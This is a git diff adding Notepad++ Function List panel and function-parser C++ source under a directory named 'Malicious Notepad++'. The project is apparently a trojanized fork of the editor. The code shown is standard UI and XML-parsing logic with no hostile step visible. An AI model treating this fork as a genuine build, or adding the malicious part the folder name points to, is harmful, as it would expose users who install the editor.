_funcParserMgr.init(funcListXmlPath, ppEditView); + } + } + else + { + _funcParserMgr.init(funcListXmlPath, ppEditView); + } + } + else + { + generic_string funcListDefaultXmlPath = (NppParameters::getInstance())->getNppPath(); + PathAppend(funcListDefaultXmlPath, TEXT("functionList.xml")); + if (PathFileExists(funcListDefaultXmlPath.c_str())) + { + _funcParserMgr.init(funcListDefaultXmlPath, ppEditView); + } + } +} + +bool FunctionListPanel::openSelection(const TreeView & treeView) +{ + TVITEM tvItem; + tvItem.mask = TVIF_IMAGE | TVIF_PARAM; + tvItem.hItem = treeView.getSelection(); + ::SendMessage(treeView.getHSelf(), TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + + if (tvItem.iImage == INDEX_ROOT || tvItem.iImage == INDEX_NODE) + { + return false; + } + + generic_string *posStr = reinterpret_cast(tvItem.lParam); + if (!posStr) + return false; + + int pos = generic_atoi(posStr->c_str()); + if (pos == -1) + return false; + + auto sci_line = (*_ppEditView)->execute(SCI_LINEFROMPOSITION, pos); + (*_ppEditView)->execute(SCI_ENSUREVISIBLE, sci_line); + (*_ppEditView)->scrollPosToCenter(pos); + + return true; +} + +void FunctionListPanel::notified(LPNMHDR notification) +{ + if (notification->code == TTN_GETDISPINFO) + { + LPTOOLTIPTEXT lpttt = (LPTOOLTIPTEXT)notification; + lpttt->hinst = NULL; + + if (notification->idFrom == IDC_SORTBUTTON_FUNCLIST) + { + lstrcpy(lpttt->szText, _sortTipStr.c_str()); + } + else if (notification->idFrom == IDC_RELOADBUTTON_FUNCLIST) + { + lstrcpy(lpttt->szText, _reloadTipStr.c_str()); + } + } + else if (notification->hwndFrom == _treeView.getHSelf() || notification->hwndFrom == this->_treeViewSearchResult.getHSelf()) + { + const TreeView & treeView = notification->hwndFrom == _treeView.getHSelf()?_treeView:_treeViewSearchResult; + switch (notification->code) + { + case NM_DBLCLK: + { + openSelection(treeView); + } + break; + + case TVN_KEYDOWN: + { + LPNMTVKEYDOWN ptvkd = (LPNMTVKEYDOWN)notification; + + if (ptvkd->wVKey == VK_RETURN) + { + if (!openSelection(treeView)) + { + HTREEITEM hItem = treeView.getSelection(); + treeView.toggleExpandCollapse(hItem); + } + } + } + break; + } + } + else if (notification->code == DMN_SWITCHIN) + { + reload(); + } + else if (notification->code == DMN_CLOSE) + { + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_FUNC_LIST, 0); + } +} + +BOOL FunctionListPanel::setTreeViewImageList(int root_id, int node_id, int leaf_id) +{ + HBITMAP hbmp; + COLORREF maskColour = RGB(192, 192, 192); + const int nbBitmaps = 3; + + // Creation of image list + if ((_hTreeViewImaLst = ImageList_Create(CX_BITMAP, CY_BITMAP, ILC_COLOR32 | ILC_MASK, nbBitmaps, 0)) == NULL) + return FALSE; + + // Add the bmp in the list + hbmp = LoadBitmap(_hInst, MAKEINTRESOURCE(root_id)); + if (hbmp == NULL) + return FALSE; + ImageList_AddMasked(_hTreeViewImaLst, hbmp, maskColour); + DeleteObject(hbmp); + + hbmp = LoadBitmap(_hInst, MAKEINTRESOURCE(node_id)); + if (hbmp == NULL) + return FALSE; + ImageList_AddMasked(_hTreeViewImaLst, hbmp, maskColour); + DeleteObject(hbmp); + + hbmp = LoadBitmap(_hInst, MAKEINTRESOURCE(leaf_id)); + if (hbmp == NULL) + return FALSE; + ImageList_AddMasked(_hTreeViewImaLst, hbmp, maskColour); + DeleteObject(hbmp); + + if (ImageList_GetImageCount(_hTreeViewImaLst) < nbBitmaps) + return FALSE; + + // Set image list to the tree view + TreeView_SetImageList(_treeView.getHSelf(), _hTreeViewImaLst, TVSIL_NORMAL); + TreeView_SetImageList(_treeViewSearchResult.getHSelf(), _hTreeViewImaLst, TVSIL_NORMAL); + + return TRUE; +} + +void FunctionListPanel::searchFuncAndSwitchView() +{ + TCHAR text2search[MAX_PATH] ; + ::SendMessage(_hSearchEdit, WM_GETTEXT, MAX_PATH, reinterpret_cast(text2search)); + bool doSort = shouldSort(); + + if (text2search[0] == '\0') + { + _treeViewSearchResult.display(false); + _treeView.display(true); + _pTreeView = &_treeView; + } + else + { + if (_treeView.getRoot() == NULL) + return; + + _treeViewSearchResult.removeAllItems(); + const TCHAR *fn = ((*_ppEditView)->getCurrentBuffer())->getFileName(); + _treeViewSearchResult.addItem(fn, NULL, INDEX_ROOT, TEXT("-1")); + _treeView.searchLeafAndBuildTree(_treeViewSearchResult, text2search, INDEX_LEAF); + _treeViewSearchResult.display(true); + _treeViewSearchResult.expand(_treeViewSearchResult.getRoot()); + _treeView.display(false); + _pTreeView = &_treeViewSearchResult; + + // invalidate the editor rect + ::InvalidateRect(_hSearchEdit, NULL, TRUE); + } + + if (doSort) + _pTreeView->sort(_pTreeView->getRoot()); +} + +static WNDPROC oldFunclstToolbarProc = NULL; +static LRESULT CALLBACK funclstToolbarProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_CTLCOLOREDIT : + { + return ::SendMessage(::GetParent(hwnd), WM_CTLCOLOREDIT, wParam, lParam); + } + } + return oldFunclstToolbarProc(hwnd, message, wParam, lParam); +} + +bool FunctionListPanel::shouldSort() +{ + TBBUTTONINFO tbbuttonInfo; + tbbuttonInfo.cbSize = sizeof(TBBUTTONINFO); + tbbuttonInfo.dwMask = TBIF_STATE; + + ::SendMessage(_hToolbarMenu, TB_GETBUTTONINFO, IDC_SORTBUTTON_FUNCLIST, reinterpret_cast(&tbbuttonInfo)); + + return (tbbuttonInfo.fsState & TBSTATE_CHECKED) != 0; +} + +void FunctionListPanel::setSort(bool isEnabled) +{ + TBBUTTONINFO tbbuttonInfo; + tbbuttonInfo.cbSize = sizeof(TBBUTTONINFO); + tbbuttonInfo.dwMask = TBIF_STATE; + tbbuttonInfo.fsState = isEnabled ? TBSTATE_ENABLED | TBSTATE_CHECKED : TBSTATE_ENABLED; + ::SendMessage(_hToolbarMenu, TB_SETBUTTONINFO, IDC_SORTBUTTON_FUNCLIST, reinterpret_cast(&tbbuttonInfo)); +} + +INT_PTR CALLBACK FunctionListPanel::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + // Make edit field red if not found + case WM_CTLCOLOREDIT : + { + // if the text not found modify the background color of the editor + static HBRUSH hBrushBackground = CreateSolidBrush(BCKGRD_COLOR); + TCHAR text2search[MAX_PATH] ; + ::SendMessage(_hSearchEdit, WM_GETTEXT, MAX_PATH, reinterpret_cast(text2search)); + if (text2search[0] == '\0') + { + return FALSE; // no text, use the default color + } + + HTREEITEM searchViewRoot = _treeViewSearchResult.getRoot(); + if (searchViewRoot) + { + if (_treeViewSearchResult.getChildFrom(searchViewRoot)) + return FALSE; // children on root found, use the default color + } + else + return FALSE; // no root (no parser), use the default color + // text not found + SetTextColor((HDC)wParam, TXT_COLOR); + SetBkColor((HDC)wParam, BCKGRD_COLOR); + return (LRESULT)hBrushBackground; + } + + case WM_INITDIALOG : + { + int editWidth = NppParameters::getInstance()->_dpiManager.scaleX(100); + int editWidthSep = NppParameters::getInstance()->_dpiManager.scaleX(105); //editWidth + 5 + int editHeight = NppParameters::getInstance()->_dpiManager.scaleY(20); + + // Create toolbar menu + int style = WS_CHILD | WS_VISIBLE | CCS_ADJUSTABLE | TBSTYLE_AUTOSIZE | TBSTYLE_FLAT | TBSTYLE_LIST | TBSTYLE_TRANSPARENT | BTNS_AUTOSIZE | BTNS_SEP | TBSTYLE_TOOLTIPS; + _hToolbarMenu = CreateWindowEx(0,TOOLBARCLASSNAME,NULL, style, + 0,0,0,0,_hSelf,nullptr, _hInst, NULL); + + oldFunclstToolbarProc = reinterpret_cast(::SetWindowLongPtr(_hToolbarMenu, GWLP_WNDPROC, reinterpret_cast(funclstToolbarProc))); + TBBUTTON tbButtons[3]; + + // Add the bmap image into toolbar's imagelist + TBADDBITMAP addbmp = {_hInst, 0}; + addbmp.nID = IDI_FUNCLIST_SORTBUTTON; + ::SendMessage(_hToolbarMenu, TB_ADDBITMAP, 1, reinterpret_cast(&addbmp)); + addbmp.nID = IDI_FUNCLIST_RELOADBUTTON; + ::SendMessage(_hToolbarMenu, TB_ADDBITMAP, 1, reinterpret_cast(&addbmp)); + + // Place holder of search text field + tbButtons[0].idCommand = 0; + tbButtons[0].iBitmap = editWidthSep; + tbButtons[0].fsState = TBSTATE_ENABLED; + tbButtons[0].fsStyle = BTNS_SEP; //This is just a separator (blank space) + tbButtons[0].iString = 0; + + tbButtons[1].idCommand = IDC_SORTBUTTON_FUNCLIST; + tbButtons[1].iBitmap = 0; + tbButtons[1].fsState = TBSTATE_ENABLED; + tbButtons[1].fsStyle = BTNS_CHECK | BTNS_AUTOSIZE; + tbButtons[1].iString = reinterpret_cast(TEXT("")); + + tbButtons[2].idCommand = IDC_RELOADBUTTON_FUNCLIST; + tbButtons[2].iBitmap = 1; + tbButtons[2].fsState = TBSTATE_ENABLED; + tbButtons[2].fsStyle = BTNS_BUTTON | BTNS_AUTOSIZE; + tbButtons[2].iString = reinterpret_cast(TEXT("")); + + ::SendMessage(_hToolbarMenu, TB_BUTTONSTRUCTSIZE, sizeof(TBBUTTON), 0); + ::SendMessage(_hToolbarMenu, TB_SETBUTTONSIZE, 0, MAKELONG(16, 16)); + ::SendMessage(_hToolbarMenu, TB_ADDBUTTONS, sizeof(tbButtons) / sizeof(TBBUTTON), reinterpret_cast(&tbButtons)); + ::SendMessage(_hToolbarMenu, TB_AUTOSIZE, 0, 0); + + ShowWindow(_hToolbarMenu, SW_SHOW); + + // tips text for toolbar buttons + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + _sortTipStr = pNativeSpeaker->getAttrNameStr(_sortTipStr.c_str(), FL_FUCTIONLISTROOTNODE, FL_SORTLOCALNODENAME); + _reloadTipStr = pNativeSpeaker->getAttrNameStr(_reloadTipStr.c_str(), FL_FUCTIONLISTROOTNODE, FL_RELOADLOCALNODENAME); + + _hSearchEdit = CreateWindowEx(0, L"Edit", NULL, + WS_CHILD | WS_BORDER | WS_VISIBLE | ES_AUTOVSCROLL, + 2, 2, editWidth, editHeight, + _hToolbarMenu, reinterpret_cast(IDC_SEARCHFIELD_FUNCLIST), _hInst, 0 ); + + HFONT hf = (HFONT)::GetStockObject(DEFAULT_GUI_FONT); + if (hf) + ::SendMessage(_hSearchEdit, WM_SETFONT, reinterpret_cast(hf), MAKELPARAM(TRUE, 0)); + + _treeViewSearchResult.init(_hInst, _hSelf, IDC_LIST_FUNCLIST_AUX); + _treeView.init(_hInst, _hSelf, IDC_LIST_FUNCLIST); + setTreeViewImageList(IDI_FUNCLIST_ROOT, IDI_FUNCLIST_NODE, IDI_FUNCLIST_LEAF); + + _treeView.display(); + return TRUE; + } + + case WM_DESTROY: + _treeView.destroy(); + _treeViewSearchResult.destroy(); + ::DestroyWindow(_hToolbarMenu); + break; + + case WM_COMMAND : + { + if (HIWORD(wParam) == EN_CHANGE) + { + switch (LOWORD(wParam)) + { + case IDC_SEARCHFIELD_FUNCLIST: + { + searchFuncAndSwitchView(); + return TRUE; + } + } + } + + switch (LOWORD(wParam)) + { + case IDC_SORTBUTTON_FUNCLIST: + { + sortOrUnsort(); + } + return TRUE; + + case IDC_RELOADBUTTON_FUNCLIST: + { + reload(); + } + return TRUE; + } + } + break; + + case WM_NOTIFY: + { + notified((LPNMHDR)lParam); + } + return TRUE; + + case WM_SIZE: + { + int width = LOWORD(lParam); + int height = HIWORD(lParam); + int extraValue = NppParameters::getInstance()->_dpiManager.scaleX(4); + + RECT toolbarMenuRect; + ::GetClientRect(_hToolbarMenu, &toolbarMenuRect); + + ::MoveWindow(_hToolbarMenu, 0, 0, width, toolbarMenuRect.bottom, TRUE); + + HWND hwnd = _treeView.getHSelf(); + if (hwnd) + ::MoveWindow(hwnd, 0, toolbarMenuRect.bottom + extraValue, width, height - toolbarMenuRect.bottom - extraValue, TRUE); + + HWND hwnd_aux = _treeViewSearchResult.getHSelf(); + if (hwnd_aux) + ::MoveWindow(hwnd_aux, 0, toolbarMenuRect.bottom + extraValue, width, height - toolbarMenuRect.bottom - extraValue, TRUE); + + break; + } + + default : + return DockingDlgInterface::run_dlgProc(message, wParam, lParam); + } + return DockingDlgInterface::run_dlgProc(message, wParam, lParam); +} diff --git a/Malicious Notepad++/src/WinControls/FunctionList/functionListPanel.h b/Malicious Notepad++/src/WinControls/FunctionList/functionListPanel.h new file mode 100644 index 0000000..e0ed8c3 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/FunctionList/functionListPanel.h @@ -0,0 +1,147 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#pragma once + +#include "DockingDlgInterface.h" +#include "functionListPanel_rc.h" +#include "functionParser.h" +#include "TreeView.h" + +#define FL_PANELTITLE TEXT("Function List") +#define FL_SORTTIP TEXT("sort") +#define FL_RELOADTIP TEXT("Reload") + +#define FL_FUCTIONLISTROOTNODE "FunctionList" +#define FL_SORTLOCALNODENAME "SortTip" +#define FL_RELOADLOCALNODENAME "ReloadTip" + +class ScintillaEditView; + +/* +1. global function + object + methods: Tree view of 2 levels - only the leaf contains the position info +root +| +|---leaf +| +|---node +| | +| |---leaf +| | +| |---leaf +| +|---node + | + |---leaf + +2. each rule associates with file kind. For example, c_def (for *.c), cpp_def (for *.cpp) cpp_header (for *h) java_def (for *.java)...etc. + + + +*/ + +struct SearchParameters { + generic_string _text2Find; + bool _doSort; + + SearchParameters(): _text2Find(TEXT("")), _doSort(false){ + }; + + bool hasParams()const{ + return (_text2Find != TEXT("") || _doSort); + }; +}; + +struct TreeParams { + TreeStateNode _treeState; + SearchParameters _searchParameters; +}; + +class FunctionListPanel : public DockingDlgInterface { +public: + FunctionListPanel(): DockingDlgInterface(IDD_FUNCLIST_PANEL), _ppEditView(NULL), _pTreeView(&_treeView), + _reloadTipStr(TEXT("Reload")), _sortTipStr(TEXT("Sort")) {}; + + void init(HINSTANCE hInst, HWND hPere, ScintillaEditView **ppEditView); + + virtual void display(bool toShow = true) const { + DockingDlgInterface::display(toShow); + }; + + virtual void setBackgroundColor(COLORREF bgColour) { + TreeView_SetBkColor(_treeView.getHSelf(), bgColour); + TreeView_SetBkColor(_treeViewSearchResult.getHSelf(), bgColour); + }; + virtual void setForegroundColor(COLORREF fgColour) { + TreeView_SetTextColor(_treeView.getHSelf(), fgColour); + TreeView_SetTextColor(_treeViewSearchResult.getHSelf(), fgColour); + }; + + void setParent(HWND parent2set){ + _hParent = parent2set; + }; + + // functionalities + void sortOrUnsort(); + void reload(); + bool serialize(const generic_string & outputFilename = TEXT("")); + void addEntry(const TCHAR *node, const TCHAR *displayText, size_t pos); + void removeAllEntries(); + void searchFuncAndSwitchView(); + +protected: + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + +private: + HWND _hToolbarMenu; + HWND _hSearchEdit; + + TreeView *_pTreeView; + TreeView _treeView; + TreeView _treeViewSearchResult; + + generic_string _sortTipStr; + generic_string _reloadTipStr; + + std::vector _foundFuncInfos; + + ScintillaEditView **_ppEditView; + FunctionParsersManager _funcParserMgr; + std::vector< std::pair > _skipZones; + std::vector _treeParams; + HIMAGELIST _hTreeViewImaLst; + generic_string parseSubLevel(size_t begin, size_t end, std::vector< generic_string > dataToSearch, int & foundPos); + size_t getBodyClosePos(size_t begin, const TCHAR *bodyOpenSymbol, const TCHAR *bodyCloseSymbol); + void notified(LPNMHDR notification); + void addInStateArray(TreeStateNode tree2Update, const TCHAR *searchText, bool isSorted); + TreeParams* getFromStateArray(generic_string fullFilePath); + BOOL setTreeViewImageList(int root_id, int node_id, int leaf_id); + bool openSelection(const TreeView &treeView); + bool shouldSort(); + void setSort(bool isEnabled); +}; + diff --git a/Malicious Notepad++/src/WinControls/FunctionList/functionListPanel.rc b/Malicious Notepad++/src/WinControls/FunctionList/functionListPanel.rc new file mode 100644 index 0000000..5a19871 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/FunctionList/functionListPanel.rc @@ -0,0 +1,40 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "functionListPanel_rc.h" + +IDD_FUNCLIST_PANEL DIALOGEX 26, 41, 142, 324 +STYLE DS_SETFONT | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW | WS_EX_WINDOWEDGE +CAPTION "Function List" +FONT 8, "MS Sans Serif", 0, 0, 0x0 +BEGIN + //PUSHBUTTON "Reload",IDC_RELOADBUTTON_FUNCLIST, 3,3,38,14 + //LISTBOX IDC_LIST_FUNCLIST,50,44,78,120,LBS_NOINTEGRALHEIGHT | WS_VSCROLL | WS_TABSTOP +END diff --git a/Malicious Notepad++/src/WinControls/FunctionList/functionListPanel_rc.h b/Malicious Notepad++/src/WinControls/FunctionList/functionListPanel_rc.h new file mode 100644 index 0000000..a32106d --- /dev/null +++ b/Malicious Notepad++/src/WinControls/FunctionList/functionListPanel_rc.h @@ -0,0 +1,40 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef IDD_FUNCLISTPANEL_RC_H +#define IDD_FUNCLISTPANEL_RC_H + +#define IDD_FUNCLIST_PANEL 3400 +#define IDC_LIST_FUNCLIST (IDD_FUNCLIST_PANEL + 1) +#define IDC_LIST_FUNCLIST_AUX (IDD_FUNCLIST_PANEL + 2) +#define IDC_SEARCHFIELD_FUNCLIST (IDD_FUNCLIST_PANEL + 3) +#define IDC_RELOADBUTTON_FUNCLIST (IDD_FUNCLIST_PANEL + 4) +#define IDC_SORTBUTTON_FUNCLIST (IDD_FUNCLIST_PANEL + 5) + +#endif //IDD_FUNCLISTPANEL_RC_H + diff --git a/Malicious Notepad++/src/WinControls/FunctionList/functionParser.cpp b/Malicious Notepad++/src/WinControls/FunctionList/functionParser.cpp new file mode 100644 index 0000000..84699c4 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/FunctionList/functionParser.cpp @@ -0,0 +1,677 @@ +// This file is part of Notepad++ project +// Copyright (C)2012 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include +#include "ScintillaEditView.h" +#include "functionParser.h" +#include "BoostRegexSearch.h" + +using namespace std; + +FunctionParsersManager::~FunctionParsersManager() +{ + for (size_t i = 0, len = _parsers.size(); i < len; ++i) + { + delete _parsers[i]; + } + + if (_pXmlFuncListDoc) + delete _pXmlFuncListDoc; +} + +bool FunctionParsersManager::init(generic_string xmlPath, ScintillaEditView ** ppEditView) +{ + _ppEditView = ppEditView; + bool loadOkay = false; + + if (PathFileExists(xmlPath.c_str())) + { + _pXmlFuncListDoc = new TiXmlDocument(xmlPath); + loadOkay = _pXmlFuncListDoc->LoadFile(); + if (loadOkay) + { + loadOkay = getFuncListFromXmlTree(); + } + } + + return loadOkay; +} + +bool FunctionParsersManager::getZonePaserParameters(TiXmlNode *classRangeParser, generic_string &mainExprStr, generic_string &openSymboleStr, generic_string &closeSymboleStr, std::vector &classNameExprArray, generic_string &functionExprStr, std::vector &functionNameExprArray) +{ + const TCHAR *mainExpr = NULL; + const TCHAR *openSymbole = NULL; + const TCHAR *closeSymbole = NULL; + const TCHAR *functionExpr = NULL; + + mainExpr = (classRangeParser->ToElement())->Attribute(TEXT("mainExpr")); + if (!mainExpr || !mainExpr[0]) + return false; + mainExprStr = mainExpr; + + openSymbole = (classRangeParser->ToElement())->Attribute(TEXT("openSymbole")); + if (openSymbole && openSymbole[0]) + openSymboleStr = openSymbole; + + closeSymbole = (classRangeParser->ToElement())->Attribute(TEXT("closeSymbole")); + if (closeSymbole && closeSymbole[0]) + closeSymboleStr = closeSymbole; + + TiXmlNode *classNameParser = classRangeParser->FirstChild(TEXT("className")); + if (classNameParser) + { + for (TiXmlNode *childNode2 = classNameParser->FirstChildElement(TEXT("nameExpr")); + childNode2; + childNode2 = childNode2->NextSibling(TEXT("nameExpr")) ) + { + const TCHAR *expr = (childNode2->ToElement())->Attribute(TEXT("expr")); + if (expr && expr[0]) + classNameExprArray.push_back(expr); + } + } + + TiXmlNode *functionParser = classRangeParser->FirstChild(TEXT("function")); + if (!functionParser) + return false; + + functionExpr = (functionParser->ToElement())->Attribute(TEXT("mainExpr")); + if (!functionExpr || !functionExpr[0]) + return false; + functionExprStr = functionExpr; + + TiXmlNode *functionNameParser = functionParser->FirstChild(TEXT("functionName")); + if (functionNameParser) + { + for (TiXmlNode *childNode3 = functionNameParser->FirstChildElement(TEXT("funcNameExpr")); + childNode3; + childNode3 = childNode3->NextSibling(TEXT("funcNameExpr")) ) + { + const TCHAR *expr = (childNode3->ToElement())->Attribute(TEXT("expr")); + if (expr && expr[0]) + functionNameExprArray.push_back(expr); + } + + } + return true; +} + +bool FunctionParsersManager::getUnitPaserParameters(TiXmlNode *functionParser, generic_string &mainExprStr, std::vector &functionNameExprArray, std::vector &classNameExprArray) +{ + const TCHAR *mainExpr = (functionParser->ToElement())->Attribute(TEXT("mainExpr")); + if (!mainExpr || !mainExpr[0]) + return false; + mainExprStr = mainExpr; + + TiXmlNode *functionNameParser = functionParser->FirstChild(TEXT("functionName")); + if (functionNameParser) + { + for (TiXmlNode *childNode = functionNameParser->FirstChildElement(TEXT("nameExpr")); + childNode; + childNode = childNode->NextSibling(TEXT("nameExpr")) ) + { + const TCHAR *expr = (childNode->ToElement())->Attribute(TEXT("expr")); + if (expr && expr[0]) + functionNameExprArray.push_back(expr); + } + } + + TiXmlNode *classNameParser = functionParser->FirstChild(TEXT("className")); + if (classNameParser) + { + for (TiXmlNode *childNode = classNameParser->FirstChildElement(TEXT("nameExpr")); + childNode; + childNode = childNode->NextSibling(TEXT("nameExpr")) ) + { + const TCHAR *expr = (childNode->ToElement())->Attribute(TEXT("expr")); + if (expr && expr[0]) + classNameExprArray.push_back(expr); + } + } + return true; +} + +void FunctionParsersManager::writeFunctionListXml(const TCHAR *destFoder) const +{ + generic_string dest = destFoder; + PathAppend(dest, TEXT("functionList.xml")); + if (_pXmlFuncListDoc) + _pXmlFuncListDoc->SaveFile(dest.c_str()); +} + +bool FunctionParsersManager::getFuncListFromXmlTree() +{ + if (!_pXmlFuncListDoc) + return false; + + TiXmlNode *root = _pXmlFuncListDoc->FirstChild(TEXT("NotepadPlus")); + if (!root) + return false; + + root = root->FirstChild(TEXT("functionList")); + if (!root) + return false; + + TiXmlNode *parserRoot = root->FirstChild(TEXT("parsers")); + if (!parserRoot) + return false; + + + for (TiXmlNode *childNode = parserRoot->FirstChildElement(TEXT("parser")); + childNode; + childNode = childNode->NextSibling(TEXT("parser")) ) + { + const TCHAR *id = (childNode->ToElement())->Attribute(TEXT("id")); + if (!id || !id[0]) + continue; + + generic_string commentExpr(TEXT("")); + const TCHAR *pCommentExpr = (childNode->ToElement())->Attribute(TEXT("commentExpr")); + if (pCommentExpr && pCommentExpr[0]) + commentExpr = pCommentExpr; + + + std::vector classNameExprArray; + std::vector functionNameExprArray; + + const TCHAR *displayName = (childNode->ToElement())->Attribute(TEXT("displayName")); + if (!displayName || !displayName[0]) + displayName = id; + + TiXmlNode *classRangeParser = childNode->FirstChild(TEXT("classRange")); + TiXmlNode *functionParser = childNode->FirstChild(TEXT("function")); + if (classRangeParser && functionParser) + { + generic_string mainExpr, openSymbole, closeSymbole, functionExpr; + getZonePaserParameters(classRangeParser, mainExpr, openSymbole, closeSymbole, classNameExprArray, functionExpr, functionNameExprArray); + + generic_string mainExpr2; + std::vector classNameExprArray2; + std::vector functionNameExprArray2; + getUnitPaserParameters(functionParser, mainExpr2, functionNameExprArray2, classNameExprArray2); + FunctionUnitParser *funcUnitPaser = new FunctionUnitParser(id, displayName, commentExpr.c_str(), mainExpr2.c_str(), functionNameExprArray2, classNameExprArray2); + + _parsers.push_back(new FunctionMixParser(id, displayName, commentExpr.c_str(), mainExpr.c_str(), openSymbole.c_str(), closeSymbole.c_str(), classNameExprArray, functionExpr.c_str(), functionNameExprArray, funcUnitPaser)); + } + else if (classRangeParser) + { + generic_string mainExpr, openSymbole, closeSymbole, functionExpr; + getZonePaserParameters(classRangeParser, mainExpr, openSymbole, closeSymbole, classNameExprArray, functionExpr, functionNameExprArray); + _parsers.push_back(new FunctionZoneParser(id, displayName, commentExpr.c_str(), mainExpr.c_str(), openSymbole.c_str(), closeSymbole.c_str(), classNameExprArray, functionExpr.c_str(), functionNameExprArray)); + } + else if (functionParser) + { + generic_string mainExpr; + getUnitPaserParameters(functionParser, mainExpr, functionNameExprArray, classNameExprArray); + _parsers.push_back(new FunctionUnitParser(id, displayName, commentExpr.c_str(), mainExpr.c_str(), functionNameExprArray, classNameExprArray)); + } + } + + TiXmlNode *associationMapRoot = root->FirstChild(TEXT("associationMap")); + if (associationMapRoot) + { + for (TiXmlNode *childNode = associationMapRoot->FirstChildElement(TEXT("association")); + childNode; + childNode = childNode->NextSibling(TEXT("association")) ) + { + int langID; + const TCHAR *langIDStr = (childNode->ToElement())->Attribute(TEXT("langID"), &langID); + const TCHAR *exts = (childNode->ToElement())->Attribute(TEXT("ext")); + const TCHAR *id = (childNode->ToElement())->Attribute(TEXT("id")); + const TCHAR *userDefinedLangName = (childNode->ToElement())->Attribute(TEXT("userDefinedLangName")); + if (((langIDStr && langIDStr[0]) || (exts && exts[0]) || (userDefinedLangName && userDefinedLangName[0])) && (id && id[0])) + { + for (size_t i = 0, len = _parsers.size(); i < len; ++i) + { + if (_parsers[i]->_id == id) + { + _associationMap.push_back(AssociationInfo(static_cast(i), langIDStr ? langID : -1, exts ? exts : TEXT(""), userDefinedLangName ? userDefinedLangName : TEXT(""))); + break; + } + } + } + } + } + + return (_parsers.size() != 0); +} + +FunctionParser * FunctionParsersManager::getParser(const AssociationInfo & assoInfo) +{ + const unsigned char doNothing = 0; + const unsigned char checkLangID = 1; + const unsigned char checkUserDefined = 2; + const unsigned char checkExt = 3; + + unsigned char choice = doNothing; + // langID != -1 && langID != L_USER + if (assoInfo._langID != -1 && assoInfo._langID != L_USER) + choice = checkLangID; + // langID == L_USER, we chack the userDefinedLangName + else if (assoInfo._langID == L_USER && assoInfo._userDefinedLangName != TEXT("")) + choice = checkUserDefined; + // langID == -1, we chack the ext + else if (assoInfo._langID == -1 && assoInfo._ext != TEXT("")) + choice = checkExt; + else + return NULL; + + for (size_t i = 0, len = _associationMap.size(); i < len; ++i) + { + switch (choice) + { + case checkLangID: + { + if (assoInfo._langID == _associationMap[i]._langID) + return 